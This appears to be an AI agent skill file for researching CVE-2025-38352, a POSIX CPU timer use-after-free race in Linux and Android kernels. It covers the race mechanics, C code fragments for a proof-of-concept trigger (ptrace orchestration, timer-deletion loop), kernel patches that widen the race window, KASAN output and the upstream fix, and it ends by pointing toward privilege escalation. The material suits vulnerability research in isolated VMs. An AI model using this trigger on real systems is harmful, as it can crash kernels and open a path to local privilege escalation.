| name | cve-2025-38352-research |
| description | Research, analyze, and create PoCs for CVE-2025-38352 (POSIX CPU timers TOCTOU race in Linux kernel). Use this skill whenever the user mentions kernel vulnerabilities, POSIX timers, TOCTOU races, timer exploitation, CVE-2025-38352, or wants to understand/reproduce kernel timer race conditions. Also trigger for kernel security research, privilege escalation primitives, or when analyzing timer-related kernel bugs. |
CVE-2025-38352 Research Skill
A skill for researching and analyzing the POSIX CPU timers TOCTOU race condition (CVE-2025-38352) in Linux/Android kernels.
What this skill does
This skill helps you:
- Understand the vulnerability mechanics and kernel internals
- Create reproducible PoCs for research purposes
- Set up test environments with vulnerable kernels
- Analyze race conditions and timing windows
- Document findings and mitigation strategies
Safety first
⚠️ Critical: This vulnerability can crash kernels and corrupt memory. Only run PoCs in:
- Isolated VMs (QEMU, VirtualBox)
- Emulators with snapshots
- Dedicated research environments
Never run on production systems or shared infrastructure.
Vulnerability overview
The bug in one sentence
A TOCTOU race between IRQ-context timer expiry and concurrent timer deletion during task exit can corrupt kernel timer state, causing crashes or enabling privilege escalation.
Key components
| Component | Role |
|---|
posix-cpu-timers.c | Timer management code |
collect_timerqueue() | Marks timers as firing, moves to firing list |
handle_posix_cpu_timers() | Delivers timers, drops sighand lock |
posix_cpu_timer_del() | Deletes timers, checks firing flag |
release_task() | Tears down sighand during exit |
The race window
CPU 0 (IRQ) CPU 1 (exit path)
─────────────────────────────────────────────────────
handle_posix_cpu_timers()
collect_timerqueue()
ctmr->firing = 1
unlock_task_sighand() ──────►│
│ posix_cpu_timer_del()
│ lock_task_sighand() fails
│ skips firing check
│ frees timer (RCU)
list_for_each_entry_safe() │
dereferences freed timer │
→ KASAN / crash │
Creating a PoC
Step 1: Environment setup
You need:
- Multi-core VM (4+ cores recommended)
- Kernel with
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n
- KASAN enabled for detection (optional but helpful)
For x86_64/arm64: These architectures force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so you'll need to patch the Kconfig:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Then rebuild with CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n.
For 32-bit Android: The vulnerable path may already be present.
Step 2: PoC structure
A reliable PoC needs:
- Parent process: Ptrace attach, control reaping via waitpid
- Child process: Spawn worker thread with CPU timer
- IPC: Pipes to coordinate timing between processes
- CPU pinning:
sched_setaffinity() to reduce scheduler noise
Step 3: Worker thread with timer
static timer_t timer;
static long wait_time = 250000;
static pthread_barrier_t barrier;
static void timer_fire(sigval_t unused) {
puts("timer fired");
}
static void *worker(void *arg) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_THREAD;
sev.sigev_notify_function = timer_fire;
timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = {
.it_interval = {0, 0},
.it_value = {0, wait_time},
};
pthread_barrier_wait(&barrier);
timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++);
return NULL;
}
Step 4: Parent orchestration
int c2p[2], p2c[2];
pid_t child = fork();
if (child == 0) {
write(c2p[1], &worker_tid, sizeof(worker_tid));
pthread_barrier_wait(&barrier);
} else {
read(c2p[0], &worker_tid, sizeof(worker_tid));
ptrace(PTRACE_ATTACH, worker_tid, NULL, NULL);
waitpid(worker_tid, NULL, __WALL);
ptrace(PTRACE_CONT, worker_tid, NULL, NULL);
usleep(100000);
waitpid(worker_tid, NULL, __WALL);
write(p2c[1], &signal, sizeof(signal));
}
Step 5: Timer deletion race
void *deleter(void *arg) {
for (;;) {
timer_delete(timer);
}
}
Debugging and instrumentation
Kernel tracepoints
Add these to spot the race:
trace_printk("handle_posix_cpu_timers: tsk=%p comm=%s\n", tsk, tsk->comm);
trace_printk("posix_cpu_timer_del: sighand=%p firing=%d\n",
sighand, timer->it.cpu.firing);
KASAN detection
With KASAN enabled, you'll see:
=================================================================
BUG: KASAN: slab-use-after-free in posix_timer_queue_signal
Read of size 8 at addr ffff888012345678 by task worker/1234
CPU: 0 PID: 1234 Comm: worker
Call Trace:
<IRQ>
posix_timer_queue_signal+0x123/0x456
handle_posix_cpu_timers+0x78/0xabc
...
Widening the race window
For research, add a delay in the kernel:
static void handle_posix_cpu_timers(struct task_struct *tsk) {
if (tsk->comm[0] == 'S' && tsk->comm[1] == 'L')
mdelay(500);
}
Then name your worker thread:
prctl(PR_SET_NAME, "SLOWME");
Analysis checklist
When analyzing a potential trigger:
Mitigation
The fix adds an early return for exiting tasks:
if (tsk->exit_state)
return;
This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the race window.
References
Common pitfalls
- Wrong clock: Use
CLOCK_THREAD_CPUTIME_ID for per-thread timers, not CLOCK_PROCESS_CPUTIME_ID
- Timer too slow: Set
it_value.tv_nsec to 1 or very small values to maximize IRQ entries
- No CPU pinning: Without
sched_setaffinity(), scheduler noise makes the race unreliable
- Missing barrier: The worker must wait for ptrace attach before arming the timer
- Wrong exit path: Target a non-leader thread; the thread-group leader has different exit semantics
Next steps
After creating a PoC:
- Run it in a VM with KASAN to confirm the bug
- Document the exact timing and conditions
- Test against patched kernels to verify the fix
- Consider whether the primitive can be steered toward privilege escalation (requires additional controllable overlaps)